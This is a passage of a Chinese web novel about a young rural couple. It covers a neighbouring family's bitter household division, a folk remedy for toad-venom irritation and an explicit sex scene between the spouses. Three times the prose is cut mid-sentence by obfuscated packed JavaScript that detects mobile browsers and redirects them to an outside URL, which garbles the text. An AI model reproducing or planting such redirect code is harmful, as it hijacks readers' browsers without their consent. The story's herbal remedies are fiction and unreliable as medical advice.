原耕耘一直在边上看着,此时方从向园身上移开视线,移开后他又回顾一眼,笑道:“娘别掏了,你儿媳妇儿说了,她长大了,以后不吃零嘴儿,要存钱攒钱积大钱,好让您跟着享福呢,她可比我懂得如何孝敬你。” 樊云英瞪他一眼,“长大了就不兴吃零嘴儿?谁定的规矩?我就要给园园买!” 她一恼,也不掏了,直接把钱袋整个塞给向园,“园园拿去玩儿吧。”说着,把向园新给她的钱袋系在腰上。 向园忙推让:“娘,我可不要,我想吃零嘴儿让耕耘哥哥买,您的钱您自个儿留着用。” 樊云英拍拍她的手,“娘有钱,你拿着,别听你耕耘哥哥胡说八道。”她摸着钱袋里有东西,问:“这是什么?你那香球捏好了?我说这么香呢!” 向园眨眨眼,“香球还没捏好,这个呀,是给娘买零嘴儿吃的!”说完,拉着原耕耘就跑。 原耕耘随时不明所以,也跟着她出去,“都在家里,你能跑到哪去?” 向园拽拽他的手,“哎呀,咱们出去转转,让娘高兴高兴嘛!走啦走啦,拿上镰刀,去割捆艾草,离端午节也没几天了,这几天见天都得熏一熏。” 原耕耘点头,镰刀就在背筐里放着,早上割完草都没拿出来。他背了背筐,反手拽住向园的手,慢悠悠往外走。 “耕耘哥哥,节前还上山吗?” “晚会儿我去村里瞧瞧,看看他们都有空不,人齐的话,节前再上去一趟。” 看棚子也要开工钱的,一人一天三十文,多一天就要多开一天的工钱。 头一筏杉木是十二那天运下山的,也就是从那天开始记工。原耕耘想着,能尽早弄完最好,木头早日拉过去派上用场,何翀那边也好交代。 再说,端午一过,就该收麦收糯米了,他们家两亩地倒好忙活,就怕其他几家一时忙不开,到时候也要耽误些工夫。 原耕耘刚说要去村里问问,脚才踏出篱笆门,就见周二仓他们几个就相携过来了,他们是来问信儿的。 苗秋枳身体好了不少,只是人还有些瘦弱。 出了这档子事儿,在外人面前黄穗平虽帮黄穗宁遮掩过去,但在家里,兄弟俩却是彻底跟他们撕破脸了。 黄父黄母见天没个好脸色,黄穗平私底下跟黄穗安商量,赶紧把这批伐木的活做完,好谈分家的事。 经过这一遭,黄穗安对黄父黄母也不抱指望了,黄穗平一提,他便想趁着这机会,跟大哥一起分出去单过。 兄弟俩在屋里说话,不防备黄金宝就站在门外偷听,当下就不干了——两个哥哥一分出去,往后他还指望谁干活养家? 事儿就这么闹到了黄父黄母跟前,这几天,黄家都在掰扯分家的事。 黄穗平和黄穗安这回彻底冷了心,任凭爹娘如何说教打骂,死不松口,咬准了要分家单过。 黄穗平甚至撂下话:“秋枳这场病怎么来的,别人不清楚,娘和穗宁心中有数。为人子的孝道我会尽,为人夫的责任我也不能推,我心思已定,要打要罚都由你们,但这家,非分不可。” 黄穗安也豁出去了:“其实这家分不分又有什么区别?爹,娘,我们在你们心里算什么?儿子?还是长工?难道你生我们下来,就是为了让我们给穗宁和金宝儿当牛做马?何必呢?早知如此,倒不如像您常说的,一落地就把我们溺死在血盆里。” 压在心底多时的话一朝说出口,黄穗安只觉得整个人都松快了,只恨自己醒悟得太晚。 他和大哥在家里,一个是老大,一个是老二。老三和老四在家里,一个是三宝儿,一个是金宝儿。他早该看清的,可还是糊涂这么多年,自欺欺人。 如今,他不想再窝囊下去了,大嫂身上发生的,保不齐哪天就轮到他媳妇儿身上,这回是摔一跤害场大病,下回会不会把孩子都摔掉?那可是他和大哥自小就呵护疼爱的亲妹妹啊,她就不想想那是大哥的妻子,她的嫂子?就不害怕万一大嫂怀着身孕,流掉的就是她的亲侄儿? 比起大哥的愤怒,他更多的是心寒……现在,什么都无所谓了,哪怕爹娘狮子大开口,弟兄俩背上一身债,他心里也是一片轻松。承认爹娘不疼自己真的很难,可一旦看清了,好像也没那么难。 原耕耘和向园这才得知,黄穗平、黄穗安兄弟和苗秋枳已经分出来了。兄弟俩没分到屋子,也没分到田地,只分得村东头的两处宅地,外加一笔一百两银子的养老钱,算是买断爹生娘养的情分。 向园心里一算,这正好是兄弟俩伐完杉木能得的全部利钱。哦,还留了个零头,也不知是黄父黄母算差了,还是良心发现,要给兄弟俩留点活命钱。就是不知道这一百两是一个人要给的数,还是兄弟俩一共要给的数。 杨可真扯扯向园的袖子,使了个眼色。向园会意,拉着她进屋说体己话。 杨可真一说,向园才明白,这一百两的数目,竟是黄穗宁提的。 黄家这几口子人,就数黄穗宁最精,当着众人面说这话时,还一脸惋惜模样,话里话外都透着对苗秋枳这个嫂子的埋怨,大有两个哥哥不贤不孝,都是苗秋枳在背后撺掇的缘故。而黄父黄母,黄穗宁和黄金宝,倒成了顾全大局,为了让哥俩过安生日子,不得不忍气吞声,被逼同意分家的可怜人。 可惜她这回踢到铁板了,没料到在场的都是经历半辈子风风雨雨的人精,哪是她几句甜话就能糊弄过去的? 杨可真啧啧感叹:“你是没瞧见,当时三叔公也在,就差没指着黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826909|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老驴脸鼻子,让他好好管教管教闺女了。” 黄老驴是黄家几兄妹的爹。三叔公就是周里正,跟周二仓他爷爷是一辈叔伯兄弟。 向园一脸匪夷所思,“秋枳被这么冤枉,黄穗平都不出来说句话?” 杨可真叹气:“他当时就站起来了,可黄穗宁眼巴巴看过去,他愣是把脸憋红了也没说出什么来,我们在边上瞧着都觉得不是滋味,更别说秋枳了。 “黄家这小娘子可真不简单!编排别人的时候,瞎话张嘴就来,脸都不带红的,一说到自己头上,立马就可怜巴巴的。秋枳也是命苦,摊上个厉害婆婆就够受了,摊上个这样面甜心狠的小姑子,真真恶心死人!” 婆婆再厉害,也就是三五十年工夫,媳妇儿总有熬出头的一天,可小姑子恶心,就是嫁到别人家去,也能祸祸得娘家鸡犬不宁。 向园又问起银子的事儿,“他们这么敢要,就不怕被人戳脊梁骨?” 她印象里,黄家还是挺看中名声的,不管真热闹假热闹、虚热闹实热闹,他们就爱往人堆里扎,村里不管谁提起黄家,不说一声会过日子,会养孩子? 实际上,除了黄金宝混账得明显,黄家其他人在外头名声都不错,尤其是黄穗宁,几乎是全村大半叔婶心目中的理想儿媳。 他们就不怕分家钱要狠了遭人非议? 杨可真咕嘟咕嘟灌了一大碗茶,抹完嘴道:“怎么不说?只是没说到他们脸上罢了!你猜都猜不着,他们一开始提的,可是要兄弟俩一人给一百两银子养老钱! “一百两啊,也亏他们说得出口!这辈子怕是连十两银子没摸热乎过的人,张口就是一百两,可真敢要!要不是三叔公和乡老们压着,让他们老两口留点余地,他们临时改了口,只怕黄家哥俩儿二十年都翻不了身。” “再说那宅地,依那俩老扒皮的意思,是丁点都不给兄弟俩分的。三叔公实在看不过眼,说别的没有,总得有个扎根的地方吧,这才硬从村里划了两处宅地给他们。 “黄家那大院子你见过的,那就是兄弟仨的才能划的宅地,三叔公当场就撂下话了:以后黄家老院不改建新房则罢,但凡要改建,建的时候必须空出三分之二的地来,留着还给村里抵这宅地。 “黄家那丫头戏唱得再好,经这一遭,谁还吃她那一套?你不常往村里去不知道,她们姐弟的俩名声算是臭大街了。 “还有那黄大平,瞧着不声不响的,心里头的道道可比他兄弟二安绕得多……”杨可真压低了声音,招手示意向园附耳过来。 “黄家本意是家丑不外扬,他们一家子掰扯清楚就算完,是大平不同意,说分家就得立文书,白纸黑字,免得后头纠缠不清。 “黄老驴两口子知道他俩生了反骨,也怕他们一出门就不认账,就同意请三叔公来立文书。 “谁知道大平不只请了三叔公,还把村里有名望的几位乡老都请去了……那天,他还特意跟满仓交代,让满仓带着他们那一辈的几个小子过去给他壮壮声势。 “满仓那性子你还不知道?他知道的事儿,隔不过夜,全村都要知道。所以最后分家的时候,村里几乎各家都有人在外头听,不然,你以为这些事外人能知道得这么清楚?” 最后几句话,杨可真声音压得极低。 向园好不容易听全乎,惊讶道:“咦!他还怪能的!” 杨可真一笑,“得亏他有这点能处,不然日后秋枳还不知道要跟着受多少窝囊气。” 经这么一闹,黄穗宁那些挑拨离间的鬼话,也只能骗骗糊涂虫了,明眼人都看得清是非曲直,也算变相给苗秋枳洗刷冤屈了。 82. 第 82 章 原耕耘同几人敲定了上山伐木的时间,又让周二仓知会村里其他人一声,这才送他们出门。 他对黄家兄弟道:“若有什么为难之处,只管开口。这批活儿忙完了,还有别的活计,也要你们帮忙呢。只要人好好的,不怕没钱挣。” 二人连连点头,他们分到的宅地空荡荡的,连一间房也没有,幸而离周家近,周二仓从中牵线,帮他们租住了里正家的旧屋。虽是土墙茅顶,好歹能遮风避雨,简单修补修补就能住,两人心里总算安定下来。 住处解决了,还有吃食。 粮食一粒也没有,他们兄弟俩好说,上山下河随便糊弄糊弄就混过去了,可苗秋枳身子正需调养,一日也离不得钱粮。 不等他们开口,原耕耘就瞧出他们的难处,拿了五两银子递过去。 向园也提了两捆山药出来,一捆给杨可真,一捆给黄穗平,“拿回去给秋枳吃吧,补气血,养人。” 欠下的情分太多,黄穗平不再推辞,接过来郑重道谢。 眼看要走了,今儿个从头到尾都不咋活泼的周满仓支支吾吾开了口:“向娘子,听我嫂子说……你们家有规矩,前三个病患不收诊费,真的假的?” 向园点头:“当然是真的,你要看病吗?” 周满仓含含糊糊,说不出一句囫囵话。 向园皱眉,“身子不舒服可要直说啊,就算不是前三个,真遇上没钱的,我还能见死不救不成?” 周满仓一张娃娃脸憋得通红,吞吞吐吐道:“那要是……要是被、被□□咬伤,能治不?” 向园还没回,周二仓就好奇又焦急地看过来,“你啥时候叫□□咬了?咬哪了?” 这傻小子,也没见他往野地里钻啊,咋还能叫□□咬了呢? 杨可真有几分惊奇:“□□还会咬人?” 她只见过□□卷虫子吃,咬人怎么咬?那东西有牙吗? 大家都没见过,跟着瞧过去。 众人目光围拢而来,周满仓脸越发红了,连连摇手道:“没、没咬到。就是……就是我跟阿七他们逗□□玩,逗完忘了洗手,碰到胳膊,有点红肿,还有点疼……向娘子有啥好法子不?” 还有这样的? 向园愈发觉得原耕耘爱洗手的习惯真是太好了,虽然他没事不会逗猫遛狗逮□□。 “后来洗了吗?胳膊还有手,直接间接沾了□□的地儿都洗了吧?”她追问道。 周满仓:“……洗了,想起来就去洗了,可总觉着难受。” 向园叹了口气:“胳膊亮出来我瞧瞧,你这可能是沾了毒气,我看看伤口严不严重,给你开个清热解毒的方子。” “……不不、不用了吧!”周满仓忙不迭推脱。 “怎么就不用了?”周二仓恨不得亲自上手捋他袖子,“放心,九郎没那么小气,不至于向娘子看人胳膊都不让。哪个胳膊疼?” 周满仓怒目而视,还是不是亲哥了?这么会拆台!要是好看,他能不让看? 原耕耘收回视线,垂目不语。看胳膊自然不碍什么,向园要行医,这都是免不了的,只怕……周满仓伤的不是胳膊。 周满仓伤到的的确不是胳膊。他不过是洗手前不小心解了个手,然后就……他生怕向园真过来查看,见他哥伸手捞他,他疾退几步,远远躲开。 向园:“……你跑什么,我又不会拿针扎你!” 周满仓讪笑:“我、我刚觉得一点也不疼了,不用看了。” 他原地蹦了几蹦,极力向大家展示自己真的不疼了。 向园也不勉强,□□没有牙齿,通常不会咬人。周满仓也说了是间接接触皮肤的,红肿疼痛多半是沾了毒气,只要不溃烂成疮,一般无碍。 她想了想,指着自家东边那片芋头地道:“实在难受,就去那地里摘片芋头叶,连茎一起折下,洗干净捣碎敷在患处。或者去药铺抓几钱木香,煎水喝,治这个很管用。” “木香?我家种的就有,要怎么用?”周满仓没想到这么简单。 他的伤在不可言说之处,不好外敷,既然向娘子给了内服的方子,第一个法子就算了。 向园瞪大眼睛认真解释:“药铺的木香用的是根,人家炮制好的,你就算把你家那棵挖出来,等闷透晒干派上用场,你那点伤只怕都好全了。” 一听要花钱,周满仓又开始考虑用第一个法子,“那要用芋头茎叶,直接砸碎了敷就成?不用额外加什么吧?” “对,直接捣碎敷,先别敷伤口,在手背上试半个时辰,没觉得不对,再往伤处敷。” 周满仓放心了,拍手赞道:“向娘子,你怎么懂这么多!真厉害!谢谢你啊!” 明明是夸人的话,从周满仓嘴里说出来,就让人觉得他很欠揍。 向园坦然受了这称赞,原耕耘上前一步提醒道:“伤到胳膊腿脚,敷芋头叶方便,要是伤到脸上或……别的地方,是不是内服汤药更加稳妥?” 向园点头,“对,不过他伤在胳膊,敷一敷不妨事。” 原耕耘颔首,见周满仓听明白了,便不再言语,目送他们离开,转身和向园去割艾草。 “耕耘哥哥,明天上午上山啊?”向园面朝原耕耘,倒退着走路。 对比原耕耘在家的时候和不在家的时候,向园还怪舍不得的。他人还没走,她就开始想他了。 原耕耘捏捏她的脸:“嗯,这次要在山上多待两天,弄够三筏木料,估摸得到初二初三才回,那会儿谷叔应该也回来了。” 端午节要往槐树井走一趟,还得去十里滩看看韩舅姥爷。成亲的时候,韩家几位表舅表舅母还有表哥表嫂都过来帮忙了,他们早该过去瞧瞧。 向园点头:“那好吧。那我提前把粽子包好,你喜欢吃甜的还是咸的?” 原耕耘:“甜的。” 向园高兴起来,“我也喜欢吃甜的,娘说她也喜欢吃甜的,那到时候我们多包些甜的自己吃,再包些咸的给表哥送去,他爱吃。” “好,”原耕耘点头应下,“你看着来,忙不过来就少做些,到时候去集市上买现成的也方便。” 向园眨眨眼,“这有什么忙不过来的?包粽子可容易了,家里材料都是现成的,糯米提前泡好,我半个时辰就能包百来个。” 提起做吃的,她浑身是劲儿,半点都不嫌累。每天做吃的,她也开心啊。 原耕耘失笑,“又不是比赛,量力而行就好,可别累着自己。天热,包多了咱们也吃不完,放坏了可惜。” 向园点头,说了句甜言蜜语:“那你也别累着自己啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835652|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我可要心疼的!” 不等原耕耘咂摸出滋味,她继续道:“咱家鹅蛋又攒够十来个,我给你煮了,明儿你带上山吃。” 原耕耘摸摸她的脸,没回上一句,只道:“不带了,晚上掺青椒炒盘菜,其他的留着你和娘炖糖水吃。” 他们几个人都混熟了,吃饭的时候一个赛一个手快,每回带十个鹅蛋上去,头一天就能被祸祸光。要他说,大男人吃什么鸡鸭鹅蛋,留着给她们补身子才是正理。 说起这个,向园突然想起来,“哎呀,包子还没蒸呢。不拿鹅蛋,给你带一兜馒头包子吧。”就是向园早前说要做的青椒茄子包。 割完艾草,原耕耘在院子前前后后边边角角点了几堆艾草熏烟,向园则去灶房和面,这会儿天气热,现在把面和上,傍晚就能包。 和好面,向园又去隔壁院子摘茄子、青椒和小葱。 原耕耘跟着过去,顺道把医庐一楼的三间房也收拾出来。向园时不时就要炮制些药材堂屋的柜子都快塞满了。这边收拾出来,她有了专门的药房,药物就可以分门别类放到药柜里,省得混杂到一处,坏了药性。 药柜上有些字迹已脱落,原耕耘让向园看一遍,捡紧要常用的药斗把字迹重新描过。药柜外侧的诊桌和柜台早先就弄清理过,现在只需要再擦一遍。吃饭用的八仙桌和长凳靠墙放着,药臼、药杵、药碾船、铡刀等器具也都放在方便使用又不碍事的地方。 还有一些瓷坛和锡罐,向园说是存放易走窜、易散逸、药性易泄以及容易泛潮的药材用的,得密封保存。 原耕耘仔细看过,这些原本都是在楼上放着的,收拾东西的时候才搬下来,他左右瞧瞧,去隔壁院子搬了个三尺宽、五尺高的竹架过来,把这些坛坛罐罐整整齐齐摆上去。 再有摊晒药材的竹匾、竹筛、悬挂和放置草药的药架,也在门口一一摆置停当。 樊云英和向园过来看时,这里已经大变样了,很有些医馆药铺的样子。 向园心想,看来原耕耘这几回去医馆不是白去的。 樊云英看完就走了,原耕耘还问,“要不要帮你把药葫芦也挂上?” 向园瞪他一眼,“你好贤惠啊!” 这么会鼓励媳妇儿上进,不嫁个读书人真是可惜了! 原耕耘笑得得意,“那是!” 下辈子他定要早点督促向园读书考功名! 药葫芦最后挂在了堂屋门口,原耕耘想着,等小向大夫医术大成之时,再往大门口挂不迟。 向园做的茄子青椒包好吃极了,一点也不辜负原耕耘的殷切期望,刚出锅,他就一口气吃了两个, 向园怕他噎着,“耕耘哥哥,等我煮好汤配着汤吃。” 说话不及,原耕耘又拿起一个慢慢吃,“煮好汤我还能吃。” 樊云英在一旁目瞪口呆,不知道的还以为没给你吃过饭呢! 向园:“……好叭!” 调的馅儿多了些,面都包完了,馅儿还有剩,向园又烙了二十来个馅饼。没放油,只把饼在锅里炕干,炕出来饼皮焦黄,透着浓浓的麦香。 这个给原耕耘打包带着正好,不容易放坏,还方便携带,随时都能拿出来啃。包子得热着才好吃,凉了就差些味道,干馅饼不一样,凉了嚼着也酥香。 83. 第 83 章 明天要走,昼食又吃上了想吃的,原耕耘决意要好好伺候向园,又给她捏脚。 向园可不要他捏,谁知道捏着捏着又捏哪里去了,他明天可还有正事要做呢。 她稍微涮了涮脚就赶紧缩回床上去。 明天她也要早起,晚上她要早点睡。 原耕耘不能理解,“你起早干嘛?” 向园:“我送送你啊!我才知道,周二哥出门还要杨姐姐送他的。跟她比起来,我真是太不像话了。” 原耕耘哼笑一声,“好好的,跟他们比什么?再说,你听谁说的周二哥出门还要媳妇儿送?” “周满仓说的呀,你没听到吗?他说他嫂子可贤惠,他二哥凌晨起,他嫂子起得比他哥还早,就为了送他们哥俩安生出门。” 原耕耘:“那是恰好轮到周二嫂值班,她去换班。我们要经过棚子那里,田武他们就以为周二嫂是送周家兄弟的,周二哥不好意思否认,周满仓替他哥找补的。” 他觉得这种贤惠太受罪,而且很没必要。 “你们在家不也是忙前忙后忙里忙外的?有那工夫睡一会儿多好!你每日白天抽空想想我,夜里做梦梦见我,我就心满意足了,可用不着你一大早起来送。” 他可是黎明就走的,向园那会儿睡得正熟呢,把他送走,再去睡也难得能睡舒服。 其实向园也觉得这种贤惠没必要,可她也不只是为了贤惠。原耕耘出门两趟,她都不知道他何时走的,她想看看他,也想送送他。 她发自内心地想对他好一点。 不过他要不喊自己,自己未必能起来,“那你明天喊喊我嘛,我送你一个礼物。” 原耕耘没回,他起身倒完水回来,拴上门就去洗手。 向园看见他洗手就开始紧张,“耕耘哥哥,你别洗了,快来睡觉。” 她越紧张,原耕耘越发不着急,慢条斯理洗过手,不疾不徐走来,居高临下瞧她,“干嘛不让洗手?还有,你要送我什么礼物?现在不能送?” 他猛地俯下身,双臂撑在向园两侧,把她整个笼罩住。 向园倒吸一口凉气,她就不该坐床边的。 原耕耘笑笑,直起身,慢悠悠上床,斜倚在床围子上,不紧不慢道:“现在快到戌中,距寅中还有四个时辰多一点,你多耽误一会儿,我就少睡一会儿。” 向园:“……” 她哪有准备礼物啊,她的礼物就是亲他一下。 早上离别的亲亲当然是温馨的,晚上睡前的亲亲,就算向园想温馨,亲到原耕耘那里,也温馨不到哪里去。 他这架势,看着就不是亲一下能了事的。 原耕耘似乎知道她的想法,“现在开始,我们一个时辰弄完,现在不开始,一个时辰就完不了了。” 他知道她顾虑他,怕他休息不好,所以明目张胆地拿自己威胁她。 向园气得想戳他脑门,“耕耘哥哥,你真是不识好歹,都要上山了还不好好养精蓄锐,还想这种事,也不怕把身子掏空。” 原耕耘冷笑,想把她嫩红的舌尖吸破,“向园,你要是能掏空我身子,我就真服你。” 漂亮媳妇儿就在跟前,他还见天上火,谁的问题还不够清楚么? 小懒蛋一个,还好意思说! 眼看半盏茶的时间就要过去,向园不敢再跟他耗。 “你好无赖!”她抱怨一句,开始讨价还价,“半个时辰!” 原耕耘:“一个半时辰!” 向园怒目而视,“诶,你,哪有越还越多的。” 原耕耘老神在在,“那就还是我最开始说的,一个时辰,你再讨价,我还要往上加。” 向园不忿,向园不敌,向园屈服。 原耕耘抱着向园躺下的时候,她还在嘀咕:“耕耘哥哥,我们做这个事情前,说这些话显得好没情.趣哦。” 原耕耘掬掬她的脸蛋,“你还知道没情.趣呢?没情.趣你还说!” 向园嘴巴随之嘟起又收回,“我想着没情.趣你可能就不兴奋,就能安生睡觉了嘛!” 原耕耘想绷着脸的,但没忍住轻笑出声,“好了,现在说点有情.趣的。” 向园深刻展现懒蛋的本质,“这个你比较擅长,你来说吧!” 原耕耘看着她,眼微微眯起,“你真想听?” 向园眨了眨眼,流露出几分无辜,“听不听都行,就是……” 原耕耘蹭蹭她的锁骨,手往下滑,去解她的衣带,“就是什么?” 向园吞了吞口水,预感接下来的话原耕耘可能不爱听,“我、我好像卡住了,还没有感觉。”不爱听也要说,不然一会儿要遭罪。 原耕耘没有不爱听,他轻轻吻她,“向园,你紧张了?是不是担心我?” “嗯嗯,有点。”向园今晚确实没有以往活泼,她心里存着事儿,“你在山上一定要小心小心再小心。” 原耕耘点头,“好,你不要担心。我在山上走过好几年了,杉木林那边还没有打猎危险,我一定会保重自己的,你还给我准备了那么多东西,不会有事的,啊。” 除了吃的穿的用的,向园还给他准备了驱蛇虫鼠蚁的药物,治跌打损伤的药物,和止血解毒的药物,可比原耕耘以前上山带的东西全乎多了。 向园稍稍放心了一点,但原耕耘发现,今晚确实有点难点燃她,他手都环住软玉了,她还干巴巴躺着,眼睛也清凌凌的,没一点迷蒙的迹象。 原耕耘手往下,揉了揉她细袅袅的腰肢,又捏了捏她软乎乎的肚皮。 “噗嗤!”有点痒,向园没忍住笑出声。 原耕耘噎住,他深吸一口气,翻身坐起来,把自己扒拉干净,“好了,忘掉之前的一切,现在重新开始。” “好叭!”向园闭上眼睛,眼睫颤了颤,感觉到粗粝的手指从锁骨下滑,薄衫随之敞开。 她扭扭胳膊,强忍住才没有抱在胸前,眼前却浮现雾雨蒙蒙的青山白云…… 初雪般洁白绵软的云朵,轻轻拢入山中。 原耕耘低头,吸吮她的唇瓣,舌尖,间隙间,他低声问:“要不要睁眼看看我?看看我们?” 向园眼睛闭得更紧,“不要不要。” 她连连摇头。 原耕耘轻笑出声,“嗯,不要。” 他去捉她的手。 向园不知道他要做什么,乖乖把手缩在他掌心里。 原耕耘带着她辗转流连,先是自己,然后是她的。 向园觉出不对劲,她往后撤,却怎么挣都挣不开。 “耕耘哥哥,不要。”甜腻婉转里带着一点泣音。 两只手相互交缠着,彼此贴近,互相挤压、来回厮磨,让她无法判断他在哪里,更加分不清她与他的界限。 “向园,宝贝儿,不要怕,耕耘哥哥在这儿。” 向园弓起背时,原耕耘终于拉回她的小手。 他替过她,唇辗转亲吻她濡湿的指尖,潮热的耳畔,光洁的额头,嫣红的嘴唇。 纤纤玉手被遒劲有力的大掌握住,砸进馨香绵软的枕头。 原耕耘含住向园舌尖,好似要从中挤出琼浆玉液般不断吸吮。 向园的感觉来得太快,好似一股脑就涌过来又涌出去。 原耕耘喟叹一声,缠绵的余韵还未褪去,他幽幽抱怨:“向园,你又不等我。” 向园才不管他说的什么,她团团搂住他脖子,把自己往上送,又哭泣:“好疼好疼。” 原耕耘感觉到什么,有些不信她的话,“哪里疼?” 向园扁扁嘴,“舌头疼。” 一定是被原耕耘咬破了。 “呵~”原耕耘轻笑出声,柔柔吻她的唇,“你也咬我,给你咬。” 他把舌尖渡过去。 向园只觉得他又来咬自己了,用力把他往外推。 原耕耘闷哼一声,转移阵地,咬向园的耳珠,几乎要把她溺毙。 巨石砸在幽泉里,溅起一阵水花,最后瘫平在一处。 原耕耘抱向园翻了个身,等她瘫在自己身上喘匀气,才点了点她嫣红的唇瓣问:“让你咬舌头,你瞎咬什么呢?” 现在才过去半个时辰。 向园不知道,她眼皮上全是汗,眼底沾着点可怜的泪花,“我又不是故意的,我舌头好疼,我都没怪你。” 原耕耘叫她娇得没法,哑声道:“我怪你了?” 撒娇听不出来就算了,调.情也听不出来? 他亲亲她的额头,“张嘴我看看。”手掬住她的脸颊。 向园吐出舌尖,尖尖处一点红一些,看不出来是吸破的还是咬破的。 “要不要咬回来?” 原耕耘掐着她的腰往上挪了挪,两人目光平齐。 向园摇头,安详地闭上眼,“我明天送不成你了。” 这一阵比以前两阵还要磨人,她活不了了。 原耕耘本也不要她送,“过来一点,给你上药。” 向园懒懒睁开一只眼,“不疼,不用上药了吧?” 原耕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844373|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耘整体温柔,除了山上过于频繁激烈的那几次,后来她就再没疼过了。 原耕耘眨眨眼,“给你舌头上药。” 这个时候向园往往很傻,她都没多想,问道:“什么药,不苦吧?” 苦的话她宁愿疼着。 原耕耘盯着她的眼睛,“不苦,甜的。不信你闭上眼睛,试试就知道了。” 向园将信将疑,乖乖闭上眼,张开嘴,微微探出舌尖,也就没看到原耕耘含笑的眼睛。 “宝贝,真乖。”原耕耘凑上去,唇瓣含住她的唇瓣,舌尖轻舔她的舌尖。 向园猛地睁开眼,大眼睛水汪汪的,“于嗯吁,你唔唷咧!” 要脸干什么? 疑惑一闪而逝,原耕耘牢牢盯着她,幽暗深邃的眼睛里是明晃晃的嗜人火焰。 向园就是有种魔力,让他沉迷,热衷,喜爱,贪求,让他又饥又渴,索要不尽,不知饱足。 他用舌尖描画向园的唇瓣,齿列和舌尖,用眼神穿透她,逼视她,让她感受他的感受,让她期待他的期待。 向园惊得忘记闭上眼睛,狂潮之后的慵懒困意瞬时叫原耕耘卷走。 她眨巴眨巴眼,这会儿好像过分有情.趣了,耕耘哥哥不会想再来一次吧! 耕耘哥哥的确想再来一次,“亥初了,还有半个时辰,现在有感觉吗?” 向园:“……” 向园有感觉,但向园知道绝对不能说。 她不说原耕耘也知道,他又去拉她的手,“要不要我再帮你找找感觉?” 向园眼睛瞪得溜圆,“不用不用,一点也不用!” 她抽出手,背到腰后,紧紧压着,绝不能让原耕耘捞出来。 原耕耘差点笑出声,他连忙收敛,严肃道:“那这次你看时间?你知道的,你要不提醒,我可能会忘。” 向园欲哭无泪,“要不别……” 她没说完,原耕耘就及时打断,“还有,不只要记得时间,还要卡着时间,等我一起,不然,你知道的。” 知道什么啊,向园根本不想知道。可奇异的,她一下子就明白原耕耘的未尽之意。 这种事情怎么控制啊! “你自己太慢怎么能怪我?”向园委委屈屈的。 她巴不得原耕耘像她一样快,两人早点结束,又舒爽又不耽误休息。 可每回让他快点,他都不高兴,还变本加厉欺负人。谁知道男人脑子里装的都是什么品种的稻草。 原耕耘也委屈上了,“不许嫌弃我!你都想找八个相公了,还嫌我慢,再说我那可不是慢,只是久一点而已,你哪次要快点我没满足你。” 向园深吸一口气,“好叭,那你这次一定要快一点,最好像刚刚那么快。” 要是能复刻一下就完美了,她都不用看时间了。 向园现在还没从原耕耘给她设的陷阱里跳出来。 原耕耘瞥她一眼,把人翻了个面,“我尽量。不过……” 他凑到近处,跟她咬耳朵,“你再咬我一次的话,说不定能成。” 向园眼皮一烫,眼睛跟着红了,她刚刚又不是故意的,哪还能说咬就咬啊。 原耕耘继续好心提醒,“最好对着时间,到点再咬。” 如果他脸上的笑不那么坏,眼神不那么放肆的话,这提醒还是很有说服力的。 可向园迷迷糊糊的,心神全部被他侵占,脑海中唯一一点清明都用来记时间和咬人这两件事了,完全没有注意到原耕耘阴谋得逞的表情。 心里存着事儿的向园比之前更加敏感,一点不对就要咬人,点对上了还要咬人,原耕耘叫她折磨得欲生欲死,勉力坚持。 帐子里潮潮的,像下了一阵雾蒙蒙的雨。 雨停了,湿意依旧挂在檐下,滴答滴答往下滚。 向园记着数,记着记着就记不清了,她重新开始数,数着数着,那有整有零的数就被原耕耘赶跑了,他不仅赶跑,还要碾碎、撞散、揉烂。 向园再也受不了,一边狠狠咬人,一边呜呜哭泣:“到了到了,时间到了!” 原耕耘如她所愿,加快速度把两人送上云端。 抽身结束时,他看了看时间,已经过了亥中,可向园肯定不知道,他摩弄着她问,“向园,宝贝儿,时间没到,什么到了?” 向园眼睫轻颤,眨落一滴露珠。 她才不要做他的宝贝儿了,勉强伸直腿蹬他一下,她把头拱进枕头里,沉沉睡去。 送什么人?那是人吗?她不送了! 84. 第 84 章 向园困困入梦,一觉醒来已天光大亮。 她说是不送,可真没送成,她心里又不是滋味,直到看见桌子上的一沓画、一页字。 向园拿起读完,脸一红,赶忙收起来,一点都不愧疚了。 原耕耘这个不要脸的,简直无耻至极。 无耻至极的原耕耘已经到了山上,他神清气爽,干起活来很有劲,比之旁边有丰富伐木经验的几人也丝毫不逊色。 这段时间,他跟着学了不少东西。 他们已经开工好一会儿了,现在旁边堆着三十来根杉木。 